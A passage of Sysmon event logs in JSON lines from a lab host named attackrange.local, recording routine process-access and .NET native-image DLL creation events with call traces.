C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:42.588\r\nProcessGuid: {90617006-42E1-5F2D-0000-0010B1220E00}\r\nProcessId: 4436\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1154-0\\System.Data.Services.Client.dll\r\nCreationUtcTime: 2020-08-07 12:02:42.588","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:42.588","ProcessGuid":"{90617006-42E1-5F2D-0000-0010B1220E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1154-0\\System.Data.Services.Client.dll","CreationUtcTime":"2020-08-07 12:02:42.588","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:42.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E2-5F2D-0000-001053280E00}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:42.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E2-5F2D-0000-001053280E00}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:42.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E2-5F2D-0000-001053280E00}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:42.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E2-5F2D-0000-001053280E00}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:42.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E2-5F2D-0000-001053280E00}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:42.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E2-5F2D-0000-001053280E00}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:42.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00103ADF0D00}\r\nTargetProcessId: 3032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:42.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00103ADF0D00}","TargetProcessId":"3032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:42.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00103ADF0D00}\r\nTargetProcessId: 3032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:42.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00103ADF0D00}","TargetProcessId":"3032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:42.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E2-5F2D-0000-0010A02C0E00}\r\nTargetProcessId: 3032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:42.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E2-5F2D-0000-0010A02C0E00}","TargetProcessId":"3032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:43.682\r\nProcessGuid: {90617006-42E2-5F2D-0000-0010A02C0E00}\r\nProcessId: 3032\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\bd8-0\\System.Data.Services.Design.dll\r\nCreationUtcTime: 2020-08-07 12:02:43.682","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:43.682","ProcessGuid":"{90617006-42E2-5F2D-0000-0010A02C0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\bd8-0\\System.Data.Services.Design.dll","CreationUtcTime":"2020-08-07 12:02:43.682","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:43.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-0010E5320E00}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\